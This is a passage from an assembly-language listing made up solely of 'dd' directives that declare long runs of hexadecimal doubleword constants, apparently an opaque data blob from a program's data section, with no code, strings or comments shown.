5C416Dh, 4F4A8F54h, 58B09996h, 68F68608h, 0A0B28BCEh dd 0D2AD8407h, 8C596FD7h, 0D134E407h, 9D22C90h, 398745Eh dd 262F5984h, 80882478h, 52177EC2h, 38045A60h, 3F421A5Eh dd 0C4C44055h, 0C0C7E729h, 0A673EF04h, 99092AC0h, 4C4800C0h dd 52B6CA18h, 7F0FBD39h, 60A8308Ah, 94756380h, 76F80208h dd 1021D9DEh, 4053081h, 94297Eh, 9C4FF5A4h, 5C6CB940h dd 672218BEh, 33372201h, 1ED0B0Ah, 1380406Ch, 418582E4h dd 0F8A37A77h, 0E37B42E4h, 7680C4C6h, 0F0021FF1h, 5A5E0990h dd 0C085409Bh, 0EAF2E6E6h, 48667C00h, 3ECC3C08h, 0C9940FEFh dd 97040C59h, 536F84F6h, 0F5188880h, 317F2778h, 0C136D73h dd 0B44B8266h, 83AB809Eh, 7CF2B606h, 30C5075Bh, 1A1234E1h dd 10050BC7h, 483A5CC4h, 0E71D8042h, 0BF572035h, 70A11349h dd 9414D8F6h, 7D31C401h, 0AD4F5B1Ah, 1E614130h, 0A77AA2h dd 66C7369Dh, 0ED7927C2h, 1BAE2F04h, 6CA44E54h, 6155090Bh dd 348BC876h, 3300A065h, 0E4268E37h, 10521FE9h, 0C4B6879Eh dd 0ABA14564h, 255D5402h, 9BC205h, 73A51320h, 9F420096h dd 4FA9D892h, 0FD27523Bh, 7281051h, 61F11482h, 0FE00B698h dd 2044FB5Ch, 4CF6409Ah, 7F0AEE12h, 6C680821h, 2A3EA8C3h dd 0C2FE39CBh, 35BE3A00h, 75130914h, 7E5AF774h, 1BBB2840h dd 9C921B2h, 9EF65547h, 34800C6Ah, 2C15C2F7h, 26FE207h dd 6B80C11Ah, 0A01B7C3Dh, 13BD238h, 0F14CABF4h, 33D50117h dd 0F0E92CACh, 738B9A00h, 0A8F0142Dh, 50FF1630h, 0B859449Dh dd 0AEE5008Fh, 5A67E38Fh, 42B7A163h, 0D9D4CAA4h, 1A280068h dd 4535F66h, 78377106h, 49F47Dh, 4D7ACCC7h, 269D6146h dd 6A5D221Dh, 34C357C0h, 995FC24h, 57E1699h, 0B1E52800h dd 3A2633D9h, 6C606477h, 3D34960Bh, 6780D4B6h, 85B46F88h dd 6400B1B9h, 1470C508h, 11AB0417h, 78D203h, 1644ACA5h dd 5B5FDD25h, 9F0C305Ah, 0EE4A7B54h, 55DB3C01h, 9C2CDEE3h dd 0A61BE180h, 730AA170h, 0A4E875F6h, 0A1E36F8Eh, 1F1CA45Eh dd 0FF8ED868h, 9D3107BDh, 0E934D088h, 0B42477B8h, 7016EFABh dd 507088h, 0C1524FE8h, 1DF187FEh, 93F96D00h, 1E68269Fh dd 8274014Eh, 7EB3C892h, 0E2C08140h, 4AC41F7Dh, 0C8007C73h dd 15D6E782h, 8E7F4199h, 890009EEh, 54613E2h, 0E3740Bh dd 6266556Eh, 0D252942h, 0F703F209h, 4EF4E869h, 897C8Eh dd 90FEB9E6h, 193FAFDh, 902BA42h, 0B025C2F8h, 0ADA4ECC0h dd 0BC011316h, 5E0F060h, 69D54061h, 9710D703h, 0A8EC78FEh dd 0F2537987h, 0D49F0051h, 76FF3FEBh, 72E4FEF7h, 54A0D754h dd 88255A4Fh, 93CCA4h, 6D294D45h, 0ECF0253Eh, 7A311B05h dd 8C019BFCh, 0C5457BE0h, 8880483Ch, 0E8BF3D2Ah, 0D6295E13h dd 0A5F87430h, 6195001Ch, 5DEBA9ECh, 553F7875h, 7D79625Bh dd 121A2001h, 0D400AF59h, 1114F7C8h, 33FC9F6h, 9436E2EAh dd 800C6F65h, 0D03257C2h, 0B0265CE4h, 6C96FE00h, 6D824C78h dd 0E8A3F42Eh, 445CD242h, 0D3B800D4h, 5D0E230Ch, 0F716E42Bh dd 0CC34F654h, 0E6985481h, 61188C76h, 2D5921D3h, 8E4F6300h dd 80EA9CBEh, 0AE970AE0h, 1ED11E34h, 0AF602AFh, 0F04476F0h dd 4CEC68C7h, 3970E340h, 7BD92D84h, 754F5410h, 0A641CC0Eh dd 3AC5E097h, 9462E2Fh, 0FA4E884Ch, 0A683C68h, 12EA589Dh dd 59002A1h, 8071087Dh, 0BDF46FF0h, 0E91E0C91h, 949EE3C0h dd 1A9382Dh, 8DC2BC68h, 60582401h, 0A0B06E04h, 8CBDE43Ch dd 88B604E0h, 44742F99h, 10F9A880h, 88A04B4Eh, 880B7A72h dd 849E5542h, 0A060A620h, 40C0C589h, 6A588B86h, 6130977h dd 1C526111h, 805CC1EDh, 0D1917C5Ch, 689211Ah, 0D4F2B5E6h dd 6C79B963h, 0F9F00654h, 448D73Ah, 7E0383EFh, 3D3E0A4h dd 0AF28777Ch, 0EEA0DE99h, 3FF6F212h, 0A3A0B104h, 7082418Dh dd 6D0F99Ah, 110278D9h, 0D4C6EC12h, 68850C40h, 0F2912445h dd 0B7EA00F7h, 0D646507h, 54623A40h, 0ECF2AA76h, 0FD1F03Ch dd 90B12E16h, 0A2CD0984h, 2F8F00B0h, 6B4EC240h, 0D70850C6h dd 3CC590C5h, 28C8F5E5h, 0CE36839Dh, 60712E29h, 75905A1Dh dd 97A7F8B0h, 927C4A43h, 0C3DD9D50h, 1D4180E2h, 74B671C0h dd 266FA7Dh, 5530E540h, 0B4A3A7FDh, 4EC2A02Fh, 510444D3h dd 24B4C8A5h, 0A7640F88h, 0BCE09336h, 0F2E23AADh, 8A922D00h dd 30CD0FB1h, 0C1820B13h, 4CC40CB6h, 2B3F0400h, 0C564E2CBh dd 54C91C8h, 0C7C7260Dh, 0CAF20026h, 0A20BCCD8h, 8903E275h dd 40648EDCh, 0D511FF7Dh, 784C1FF2h, 16E60EC5h, 3D43901h dd 75C629Dh, 0B3A3EF2Fh, 6543B460h, 903F3AD9h, 2A14D12h dd 5B54E14Ch, 7079D4E4h, 36614F09h, 5EB4001Ch, 1DFE7E63h dd 0C1A7FA25h, 264D46A1h, 13E060F0h, 69FF7F30h, 38366837h dd 0F4D1ABh, 2DA6EE6h, 0F45D3094h, 0BE906D09h, 5227801Eh dd 0A164EDE5h, 0FF10A3B4h, 0A93884B8h, 0B651607Ch, 3545F6h dd 8B24FED5h, 0B8DFF7A4h, 753EDD01h, 0D305D604h, 0C7F430h dd 0E18F6BD4h, 0D2F6C938h, 8777E300h, 90AC11F8h, 0CAC10996h dd 8017C75h, 2033C3D9h, 1001E514h, 0FE0259EAh, 12E88A0Dh dd 0BC549834h, 0E47C929Ch, 0B800294Ch, 0F39C8E7Ah, 1FA5A9CDh dd 8270675Dh, 48821D95h, 508EEC41h, 84465C60h, 8C1FAEFAh dd 0CEC0BA3Bh, 0D5E492DAh dd 210400A3h, 0B10DE7E1h, 881223AFh, 3CB2BAF2h, 156D3E80h dd 1403DF32h, 0E2D29AA7h, 1141266h, 78F4204Fh, 0C0FD1EBh dd 40399749h, 13ED91BFh, 887D2E14h, 305C1348h, 419FB790h dd 52808499h, 15C38A43h, 2818025Fh, 0D137E68Fh, 1BB5D3C0h dd 72115400h, 7A3DDA82h, 17E871A4h, 9129D7Eh, 4C88EAADh dd 80CC1E58h, 48F0930Bh, 7F09A1CBh, 8497247Ah, 5440C970h dd 0A4588E29h, 339CF1E7h, 0B071247Ch, 0B295C700h, 607B9276h dd 5F6F59F7h, 61002C48h, 96836290h, 3C53A3Fh, 744B075Bh dd 2AE079D4h, 0BC00DADDh, 0F4CA32B2h, 7D1C113h, 8F0C30C3h dd 77BF60E9h, 0B1042C3Bh, 0C4DC6EB7h, 0AE41D4D1h, 0E3A1280h dd 0C17B0340h, 0DC44A8B0h, 114A01C5h, 7EC72517h, 0A149CC20h dd 34A78A50h, 1C78161Dh, 0CE6AF40h, 3D72E411h, 0F4ADDBD6h dd 73F69C00h, 0C68268D1h, 55E3017Ch, 0B1DFFE3Eh, 0BE8FD8EFh dd 0E92D51FEh, 0A7BC8416h, 6C620D42h, 0D6DA6040h, 0C2F67B00h dd 322E03E5h, 0F31C1635h, 62280070h, 0A356B17Ch, 0C2FB8F00h dd 0DFB6B40Ah, 40C75AE4h, 0D22201DCh, 7000D1FFh, 0B02317D4h dd 4B54FC7Fh, 0E0D8203Fh, 8F88E6C6h, 0A64D094Ch, 0BD00800Bh dd 0FC168A46h, 4852D001h, 0AC1A1D6Ch, 0EF1DD468h, 57620198h dd 20170137h, 78B09A8Ch, 0BC40AC96h, 0BA07C5h, 283C3F15h dd 55D96460h, 81FBE731h, 94329BF6h, 8474A858h, 453610FBh dd 0F51200B0h, 0E8A3538Fh, 7FE6079Ch, 8048C758h, 0B559203Bh dd 0DB90BCh, 4C58B611h, 9EF9102Bh, 7B081700h, 6EE86FD2h dd 20544EF6h, 0D98FC4B0h, 707C5026h, 9E556447h, 19834CC1h dd 18FDE8h, 70E8D756h, 0C9A43EB4h, 30C7D24Ah, 251810EBh dd 0E12ECE6h, 1E03C50Dh, 8E45729h, 0F897A500h, 9FFA2AAFh dd 635000ECh, 0CC18BC71h, 0C800A204h, 0A6A16FFBh, 25B365C4h dd 7818F9D8h, 802B478h, 0DE259E44h, 0DFE86163h, 0E6608C70h dd 0F7091634h, 0C6A89274h, 3006745Ah, 61A378EBh, 5248135Eh dd 145C237Dh, 94CAF0A0h, 989EC00h, 0BAAD132Dh, 2310013Ah dd 44AB2105h, 38472A7Dh, 0BB506EAEh, 22C643Ch, 0F0E6B085h dd 0E8846FEDh, 0B57B40A5h, 71D79B4Fh, 721B1349h, 0E2E090FAh dd 0AE0EDF9Fh, 0A00A0793h, 0CCC11CA8h, 0F65F17BDh, 69FC2774h dd 0E28F7000h, 0D93C3E3Dh, 0E48C2567h, 18543FE8h, 403F2980h dd 5562F106h, 38204A5Fh, 26F5A4F4h, 3F5EB46h, 14F8C29h dd 1844BB8Ah, 0E13CB09Dh, 0BAA2002Dh, 0AF092B25h, 7D24FC0Ch dd 453E94EFh, 0B108D2F8h, 0D9A38014h, 0E53E5946h, 15934C07h dd 0CB61B748h, 12C80ABAh, 0E8C200B9h, 1155A2BBh, 0AD2F7597h dd 0F548A07Bh, 1630737h, 73B72234h, 3AE5DC25h, 224B031h dd 0A4338343h, 0CE722EC0h, 0A97E00BAh, 3221EEDAh, 0E713036Ch dd 1800886Fh, 2E5EAECDh, 68829547h, 0B879EE77h, 2F4F7D00h dd 1D6FF31h, 8BEC67E4h, 0E830F860h, 0DE07EDE9h, 2F41B3A8h dd 0E0C2A1A5h, 4FC89069h, 1061675h, 810C94BCh, 0FC52E190h dd 0E916DC2Ch, 548980FCh, 59BEDC4h, 8D7D3344h, 0D0548735h dd 9C176C96h, 65612E00h, 29551441h, 2210B894h, 0AC99CFFCh dd 0E778A380h, 1C1A8A2Ah, 5DC6F9h, 0C0A0A763h, 8812610Fh dd 9408B54Ah, 3C90A73Bh, 0F078EDAAh, 0BCBF4600h, 4360E8C4h dd 134B04Ch, 0B3FFDF90h, 48612321h, 0D100C7E8h, 26D2366Dh dd 59C1E3h, 35D0B9F4h, 3874A51Bh, 80B0FA48h, 0A24F78A4h dd 0D9410022h, 0E94D85C4h, 250E76FAh, 0C0AA1C14h, 5EA157E4h dd 40C94A6Ch, 4E4C2120h, 98F67F05h, 80A3473Fh, 0EAD38265h dd 5FCDC091h, 0E7A407F4h, 0C00D9F1h, 1734394Fh, 849038E0h dd 8062942Fh, 31EC82A0h, 6EDF02B1h, 0BBF2C603h, 2CDCD0B0h dd 9DF91F16h, 97EBC20h, 3CC830C5h, 30F15B11h, 471BAB04h dd 44B8F46Eh, 0BCEA7C8Bh, 0DDF26680h, 0FB0E3A7Bh, 82431A08h dd 4B2622D9h, 0A4CDFD10h, 3787A82Ch, 0A9C9E0B3h, 5009FC2h dd 21E0AC6Fh, 250CC5AEh, 3044ED1Dh, 326DFF00h, 4D80AF12h dd 0BCBEE39h, 5FA4157Ch, 0FE332900h, 0EF148211h, 0C0C4E9F4h dd 0B73B1E0Eh, 57C21E80h, 0CFAA02F6h, 0D0600BA2h, 220110E0h dd 0BE0826A1h, 0FE5B8FEh, 0F878642Bh, 70C580C4h, 407BD96Ch dd 88F0A511h, 824B5500h, 52068FF8h, 14BA16D4h, 40A762h dd 7C4FB1E1h, 750382A5h, 0EA500A6Fh, 40C8BD01h, 0A0CA7A2Ch dd 0C873D22Eh, 0FE4EBB60h, 0FD8307E7h, 0D5BADFABh, 6870407Ch dd 5751FCACh, 50395D00h, 6FBB81EBh, 0A0819D77h, 74F1794Fh dd 0E407243Ch, 53F77ABAh, 8382A6C0h, 7FE92584h, 6FA810A0h dd 5F75E49Eh, 0D0B01807h, 2420F868h, 2CA044h, 854D754Bh dd 7A39B371h, 28C0E04Fh, 2D2EB77Ch, 28A4FA5Ch, 74BE8018h dd 5F1FF110h, 724A9264h, 0B05E327h, 0DF84CC1Eh, 23159040h dd 7B87C42Bh, 2D760044h, 93AAF22Fh, 9049BCDh, 0C0C7B47Bh dd 0A80068ADh, 0B5C1978Eh, 0E7E69BB9h, 5C9E4E12h, 320FECF2h dd 0DDCE9FAFh, 9EC43E5h, 0C8F16580h, 0C674D901h, 946C85A3h dd 92BFC280h, 0D007D6DCh, 491DE418h, 0ADB555E0h, 71A11F66h dd 60434925h, 0A6E87C10h, 9F1CF300h, 0F4CB3455h, 604A2628h dd 0F2C740A8h, 0C90FE431h, 4034A158h, 0E57946B9h, 1E4C005Dh dd 8E1BF407h, 1600CB7Ah, 8A76C10Bh, 17B890E3h, 81CED896h dd 20A9B458h, 0F44B46E8h, 42D00C2Dh, 1F1DFA72h, 0C7891A9Ah dd 0C4AF9F87h, 0B4A39Bh, 9AA40162h, 9E6C2FFh, 0A2F46C58h dd 0C8863C52h, 76125F00h, 0DF213E5Dh, 58776D4h, 90F6556Ch dd 8058A8F7h, 68D5E18Dh, 6C4B0025h, 0C797916Dh, 752C37FEh dd 4438548Eh, 3F1E00A8h, 8096ADEEh, 0BA00451Ah, 5014B26Ch dd 74CDA460h, 0C99E4h, 0C14CE247h, 0B47395F7h, 6AC09C01h dd 0BBA93F31h, 4C76FFFCh, 0F20ADEF6h, 1160BFD4h, 0D70407DDh dd 0A8807313h, 9F4EA0Dh, 27D9FFC2h, 0B14954E8h, 11F1209h dd 0A988B0D4h, 0C7DE08E7h, 9C8038C8h, 24B5CBF8h, 5858E8B4h dd 7D0015B8h, 19B01564h, 5E0070BFh, 1E6C4A7Ch, 0DE77C76Fh dd 225E51h, 4D03921Ch, 2F002B5Dh, 97E404EEh, 394FBB3Fh dd 22807CE0h, 10423C60h, 0CCB08D85h, 79434501h, 6F620C08h dd 1D900C20h, 0D70178ECh, 0C810307Eh, 0C471F8EEh, 41E1FC00h dd 1696750Dh, 8053002Eh, 0B24DFF4Ch, 971DF840h, 90010207h dd 0A1786DFCh, 1C011E0h, 27EE2608h, 227C0DB4h, 0C6DA005Ch dd 2F53FC65h, 0B7D60036h, 513114E9h, 7000B84Bh, 0B974CB19h dd 734FD77Ah, 2602008Bh, 0A44C11F0h, 71580DADh, 11184CDCh dd 0D213DBBDh, 28C4A324h, 9707E4ADh, 808F9DE3h, 7880F694h dd 2C436A72h, 50086Ch, 0D6D59A6h, 8096E354h, 4A49C487h dd 0B46F6570h, 73100BF2h, 94527C24h, 88974D50h, 0C436E025h dd 0C3C5073Ch, 60404C24h, 5E88E365h, 29BC7450h, 0D216B405h dd 24A2F731h, 7F9D8907h, 0C2C1A096h, 2E01A684h, 8FE3B48Ah dd 48386F47h, 4DA26C80h, 0FB009101h, 4BB2A02Fh, 580DB798h dd 0D12220FFh, 9FB47C4Ch, 7A93C905h, 6D968C80h, 137D0299h dd 0A086D0D1h, 78018473h, 0D9ACD825h, 0F2BC203Fh, 0FF688B4Ch dd 2F249064h, 0C4BFC031h, 3539C879h, 0D8023BBh, 0F3F2398Bh dd 1F01C298h, 0A01EF1C8h, 4020E771h, 3F1A0023h, 41308FB6h dd 139D7B7Dh, 0A66AE86Ch, 56770252h, 0D975B04Ch, 74D72CC1h dd 0BBB88FCCh, 81C0C00h dd 8C827109h, 0C905000Dh, 0AAF7037Bh, 109FD9FCh, 94BCF298h dd 272344B0h, 25C451CBh, 14A134E6h, 5A8A008Eh, 0C8922575h dd 66F9F8C0h, 0B22571E2h, 2E4090BAh, 0AC2800E8h, 74DBD398h dd 80B7DEE1h, 0AF10FD58h, 2820B5C8h, 968DC7CDh, 2D7C5300h dd 1478BCD1h, 0D6020967h, 0D8010B4Bh, 2EC6C92Eh, 0F8B49440h dd 0B672F0h, 8037A993h, 0AC9DDDF5h, 590A83Bh, 60189707h dd 2EDC98E0h, 3904F6EEh, 0B8D0AFh, 0E60024F2h, 20841542h dd 61C43Ah, 0ECB979B7h, 0F3786F2Dh, 49052A02h, 939AE575h dd 0CDE2D094h, 0D25012E1h, 0C2E20008h, 0DE90F799h, 0BA976200h dd 220B0410h, 89531EE0h, 437066F2h, 9BB92A1Eh, 0D94870BCh dd 8F54D500h, 4C4D86C2h, 94E30266h, 0DA316C7Eh, 4459D48Bh dd 16AC6B04h, 5C78F0h, 73B30B84h, 78AEC6E4h, 1D444C90h dd 9EE449h, 0E35D4B75h, 0F0971577h, 40407E5Fh, 99E133FDh dd 810709B4h, 430F7FD5h, 8A01F1A0h, 16E6750Ah, 0C6CA0412h dd 0E405680Bh, 40BC0F74h, 81C0D75Ah, 31A2DAF2h, 4088624Ah dd 3FD3EA3Ch, 4D000C30h, 94AB8955h, 0FB09F7BDh, 173B7Ch dd 0F6506F5Ch, 348CB175h, 0A1288110h, 0ECD4F380h, 0B61E8044h dd 0BD3F557Dh, 30D7C411h, 0B90475D0h, 90F0132Dh, 278D488h dd 4C01ED09h, 0E0E67051h, 9E3A4D0Eh, 0ED12A08Fh, 2746A1B7h dd 0C9A6290h, 2C036868h, 1154E200h, 8CA57CB6h, 18F73F9h dd 42CF7AADh, 0F0B8331Eh, 7104DF5Ah, 107DD238h, 6EE8F41h dd 0D815DD0Dh, 2D00AEDAh, 0C5EDD1Eh, 1690FED5h, 39F22E7h dd 28409115h, 3994C804h, 9CC96106h, 0A86ADCh, 4FD5763Bh dd 6C637EADh, 3FB4E302h, 74EC5E21h, 59AA40C8h, 0C5007595h dd 6B7DE9D5h, 5DA3C99h, 589455BCh, 7590026Ah, 0D10B68EDh dd 0E2380080h, 21055D49h, 4E867918h, 33F5C6h, 5C12829Ah dd 8EA45978h, 55273FECh, 0EA1CA141h, 43E6F58h, 0F02D97C0h dd 0A144E82Ch, 3810B5F6h, 7D48D96Eh, 0C000939Ch, 93479CE3h dd 9DF02D0Bh, 0FC54C021h, 4441A5CEh, 25B112F0h, 64370021h dd 8E863CD3h, 0F9F36D90h, 8DB46088h, 50407B5Ah, 0C2518656h dd 0DE04C096h, 16F3754Bh, 2509F1E0h, 0E476F709h, 0A78101D4h dd 0C2E107AFh, 6C52DAF2h, 0E820D229h, 7BAA7605h, 60B5CC22h dd 4A8E5EC1h, 67488121h, 0AF105096h, 25021A73h, 0D9F3C6F4h dd 77C8445Fh, 0EE5A7D8Fh, 0EE090CAh, 24ABADD7h, 0DF2994E1h dd 0A5442070h, 0B62B3588h, 316B4048h, 0ACF6C9ADh, 0C868EB07h dd 0FE21D48Dh, 0FC6122F2h, 0F353C4h, 0DC76C1FFh, 4A4D8C55h dd 0F7827303h, 0A9ED0268h, 0C070D1F3h, 7A50168Dh, 0DCA8A088h dd 41ECCFE9h, 4613BFCCh, 825EC8h, 0EADF696h, 0BA508066h dd 36032200h, 0CC7DC628h, 4EE6Fh, 0F45AF89h, 673A401h dd 7920B403h, 0F08D90B2h, 2122408h, 722C47E4h, 78D914BCh dd 0B25A2004h, 9F2D7580h, 0CE4F0148h, 0D21267B8h, 81486321h dd 54F77D0Bh, 0E3000436h, 0F470ACA1h, 0FF0492A4h, 7D35DEB8h dd 3DF940B4h, 61008E43h, 4EFFF46Bh, 0F00EBB3h, 8A2B4265h dd 0F2514F28h, 0D3670217h, 0FDEEB7FEh, 0C58E1CC0h, 28CC1358h dd 10B49898h, 21DF1E40h, 0E7091CADh, 65DE8059h, 0E6EA8EABh dd 0A9223A04h, 24F4FA35h, 0BC070190h, 0CB8109A7h, 0C06DDDF6h dd 2B02F114h, 0F9CD04FAh, 0F48C49Ah, 5911D6E3h, 0C01E7A80h dd 0ED0B0519h, 441438F7h, 23560068h, 98CE3E7Eh, 0ED3B1F16h dd 14C983A1h, 9D8CBC5Dh, 0C608D180h, 3FF16A0h, 6098D77Eh dd 953EE55Fh, 56EA1500h, 71ADCC30h, 0D5990125h, 0D9D07F85h dd 3A17CD09h, 0E38A0800h, 0FADA97Ch, 9C4ECC03h, 0C062E8C4h dd 55329584h, 4C85B52h, 606EC97Bh, 6FE8888h, 9F7585BCh dd 34013021h, 47E92ACDh, 0E02C6C2Eh, 0EDE0238Eh, 0D9DF7E63h dd 9A12B902h, 20F97B74h, 5C9E3F5Ah, 0BD0BD87Dh, 0F576FD61h dd 96752D02h, 0F260AC54h, 0DA6E74h, 2E1FA927h, 15459679h dd 60E7EE14h, 8DB60F28h, 5867404Ch, 9985E78h, 7D31F445h dd 0D600D0FAh, 2CECAE25h, 9EA2EAh, 491B9C87h, 0C28DB91h dd 0FD556538h, 9C2F688h, 1D5CD9DCh, 72580C44h, 0A4FE3DF0h dd 81019056h, 608DAAF6h, 7A00F02Dh, 79DE093Ah, 0FF0086CDh dd 0D9949A35h, 4B7F1F0h, 5206CE8h, 56D08861h, 96B5BC3Bh dd 0E9034E76h, 0B864AA3Eh, 1C7C12C5h, 1DCD4D10h, 809F5ED0h dd 54AA0E09h, 562DF295h, 0A1B820C7h, 41C1999h, 0F4ABDD03h dd 2D2C8860h, 3907E907h, 4911D87h, 0C5E4BC78h, 91AF0533h dd 0B4C8ECABh, 5600C2ECh, 6A2BE140h, 9CFF24h, 93D0270Ah dd 0BAF44755h, 0A53DA899h, 6451F0h, 662D1116h, 3512FA5Fh dd 0F020C7DEh, 2EB1D065h, 3C0C3F5Ch, 4840DA45h, 5A4A54F8h dd 0FBE028h, 399B8C1Bh, 0C8C1A1F7h, 0C52D7700h, 13547EE4h dd 555D124Ah, 2B04B195h, 0F961E000h, 51336F77h, 90FECC8Fh dd 5C2DF238h, 0ED2268E4h, 97C8D00h, 0D8D03BFFh, 923100AFh dd 0B991FD42h, 7072B362h, 4BCEA2Ch, 178D2F60h, 71220E98h dd 229FD96Fh, 78A00305h, 6CA573F6h, 7C606E80h, 57F0318Fh dd 4B295D3Ch, 0FAA0DCC1h, 1689860h, 31D9E26Bh, 312299B5h dd 804C2819h, 0E1AC158Eh, 0EC7B0009h, 5EC157B7h, 509C611Ch dd 4450EE81h, 6FDC8417h, 1374B831h, 219D0985h, 30679C0Ch dd 493D7B91h, 96480004h, 8DD9CC6Fh, 0B8D86695h, 0AD7A3870h dd 0F8682450h, 0B1255D05h, 38EC79E0h, 2EE2B680h, 0C000CB8Fh dd 0FF28476Bh, 38B7A580h, 0C400CAD6h, 0B1733AFh, 0FE5CB9D4h dd 7C4F13D8h, 0D62E00D1h, 0C250C1DEh, 1500BC33h, 63941D23h dd 0CE005F96h, 3B6E51BCh, 16830C6h, 0D84705B7h, 0C81F1431h dd 7D4F78A6h, 0F53D4D1h, 9C2F2F4h, 5B8F6183h, 0DF0010E4h dd 8533698Ah, 2DF466F1h, 502379D9h, 8CE0F2B7h, 2A0BF73Ah dd 50F4DDB9h, 64910024h, 4CE36774h, 9A015929h, 0B47CE75Ah dd 203B60BFh, 82144BDCh, 0E5453B00h, 62BA8F9Dh, 195000F5h dd 0B7498401h, 0A0B8A155h, 7B722901h, 5BB5A64Fh, 0CC1C003Eh dd 7FA3FEB4h, 96335A00h, 7555F468h, 0D1F20082h, 0E85F7D56h dd 7E031A94h, 1157082Dh, 0C4B4B4F1h, 5567017Ah, 0FC79ED3Fh dd 8175600Ah, 0DD005F71h, 1D974D77h, 13092B51h, 1EEE71h dd 57F879DAh, 0D700613Fh, 76C56773h, 0FA835FBCh, 30397797h dd 4D086CE4h, 0C50088D5h, 0C8C9D6A9h, 8C3C34h, 0F29435AFh dd 0F75AA8DBh, 5F60A40Ch, 98973022h, 9086E00Bh, 3305384Bh dd 17879400h, 788FCFE8h, 0C81C6A01h, 90FCE91Ah, 5C2620h dd 66B9E16Dh, 0C314D72h, 34884C67h, 5CAB0FB0h, 0C4CA0E9Eh dd 0EB008422h, 47706ED2h, 6F3D8203h, 14A835Eh, 1A72BCB9h dd 809AC905h, 0F4FEEEC1h, 3AD5D38h, 0AE6A994Eh, 0FF91675Ah dd 0E318D0A4h, 602DB408h, 0E9E18010h, 682E7E09h, 0D44A3006h dd 1D61466Fh, 47EC828Fh, 60C5A822h, 431D013h, 40A6B1C0h dd 0B76786h, 42D3510Ah, 45717EA4h, 0C1366300h, 1A9B9553h dd 8879446Bh, 0F5068709h, 0B67A0A28h, 20600501h, 0D7CC1DA1h dd 0BB640083h, 0E4EE6607h, 2803E3C9h, 189E56ABh, 0B8B1002Ch dd 0BA5C997Eh, 751DCFE5h, 98500533h, 0E0F04D37h, 34AD79CCh dd 56F42601h, 4CFA1482h, 285F1DD8h, 847209h, 5A766C81h dd 0CED1F84Dh, 0E60520C0h, 74CDC808h, 69E50F51h, 0CF617030h dd 30BE2044h, 0D7005601h dd 0E6854DCDh, 775FF5F8h, 6CE1CC90h, 8C65680h, 0A1969A7h dd 662BE3D6h, 0B6193EE4h, 142DD07Dh, 25342EC0h, 0D6C93DB2h dd 0C806AE06h, 6030D193h, 5E622929h, 193A0043h, 0A0AE7AB9h dd 0F3EA95EAh, 0FB6C3E00h, 0FF610BBCh, 8C31D42Ah, 60CF0A18h dd 0C500443Ah, 8DFA77BDh, 0CF86ED7h, 95E542ABh, 0C6005C69h dd 0C24964EBh, 0AC59Dh, 51219394h, 4E03E575h, 709EFA01h dd 476E0F6Fh, 0AD4AF180h, 9FC21FA7h, 0CC065712h, 70004425h dd 5933666Fh, 50CF00D2h, 3516F7F8h, 0C7520656h, 1ED606D8h dd 351626Eh, 80FA05F1h, 0B0D0C51Dh, 0D9184AF7h, 0EA217A6Fh dd 0F96B0049h, 0F867DB58h, 0D70E1F2Dh, 6F3F605Ah, 9EEC0078h dd 0A3F7B6DCh, 4839E6C3h, 931C39B3h, 0DA96047Ah, 0D0B48730h dd 98A1E48Ch, 0B9F87D04h, 1AC09C65h, 1D18661Dh, 2841CBh dd 3633F9C8h, 0CD600658h, 309B4D51h, 84920Eh, 841F9CAh dd 0B1AB0252h, 12C0BC4Ch, 644A1025h, 0E201446Fh, 0CFDC4DD4h dd 15F21D8h, 7494C9AEh, 20FDFCE5h, 0B4045278h, 1D7E71C4h dd 0FAEE5493h, 4F1C6188h, 8180AD61h, 0D3126B13h, 9101CBF1h dd 61588F5Fh, 0C9D4EE67h, 15B906B3h, 3183E6C3h, 40C70501h dd 0D19B0F07h, 198081DDh, 75FC83CDh, 1011D7A5h, 0F90084E7h dd 80A142DEh, 0D6128683h, 4C08E107h, 275F8868h, 0E0E26180h dd 3BB24C21h, 4F0E58CFh, 0C800C52Bh, 6F6639A8h, 7E807D54h dd 6C077590h, 3293782Ah, 0A0A44AE6h, 0E989C4F6h, 0CC113040h dd 7FAD0036h, 0D1F6CD5Ch, 1400F763h, 0D48591C6h, 31B8D015h dd 0B3960A95h, 0E3A6409Dh, 0D2F3597Bh, 0A132D490h, 5404F404h dd 7C80689Ah, 1846B6h, 0B285F71Ah, 0D6C83AE8h, 0F4FC4C00h dd 0BBC47C02h, 25623086h, 0E6B701E1h, 0E4880D00h, 5A474ABCh dd 4CCD00FBh, 0BACF2382h, 0D4001499h, 0B1AA65B4h, 908E3D1Ah dd 489F002Ch, 8F7EABA7h, 0D70494EDh, 0AC035960h, 42B610C0h dd 24EB329Eh, 60C93169h, 0EDF6C639h, 2A00CC16h, 50CEDD80h dd 0D7D600ACh, 0A4B64C1Dh, 612FE2Ah, 0B83586E0h, 0A1284500h dd 0A26166h, 2AE3C827h, 7B1CC189h, 0E90F0498h, 0E81205Ah dd 0E20621FFh, 40A636A5h, 78F960A0h, 0BE00D0C9h, 0DEF05CA3h dd 0B50453h, 2CEE1306h, 0D6F6F136h, 0B178CC30h, 2666B83h dd 69934F0Dh, 8C4B10A4h, 0C4A045DAh, 1D9FB12Bh, 0FAF3731Ch dd 8017B983h, 7282C036h, 5A9819DBh, 85B0D0EEh, 8A46A91h dd 817D2408h, 0D6902092h, 82A3C866h, 0E9E8BC00h, 78CDAC58h dd 59691DC4h, 61CCC0B0h, 0C992AD1Bh, 1AF4560Bh, 28A381A9h dd 0B8502360h, 0B167ACh, 0EEBCEAA8h, 17CEE094h, 0DBBED800h dd 262C120Dh, 0E818006Fh, 78E56AB1h, 6B44E47Bh, 5BD50F08h dd 0D260F966h, 9C9949A5h, 0F875FEE0h, 0C41A1B02h, 40C63EBDh dd 39BE330h, 0BE9064B8h, 479214B2h, 6AC9B963h, 0A1462B3h dd 0E899E105h, 0E44BA140h, 18AB7FE3h, 0B926179Eh, 8CA80130h dd 933C2F6Ch, 0B3901FA8h, 0A1BE310Eh, 0FAF0B4AAh, 786D5460h dd 2C916Ah, 6454CDD3h, 58F01683h, 620C820Ch, 0C4592Bh dd 0FEEFBC37h, 2E14EDA8h, 329E5A00h, 198D2ECh, 3149C6D5h dd 0FE2681FAh, 92015C62h, 42550108h, 216BEF4h, 0B2EEB7Ch dd 9AE09C93h, 7D03B106h, 0FA3D811Ah, 2088A55Fh, 215805CCh dd 80C86323h, 0B2B922C0h, 329FD400h, 1AE68DFBh, 0BBE9009Bh dd 28B51215h, 0D948D2F3h, 0BFF9018Ch, 0C10F0390h, 12C81092h dd 0D6602068h, 2A0C31BCh, 20DE0CCAh, 0E3731EF3h, 0C106D843h dd 483F992Eh, 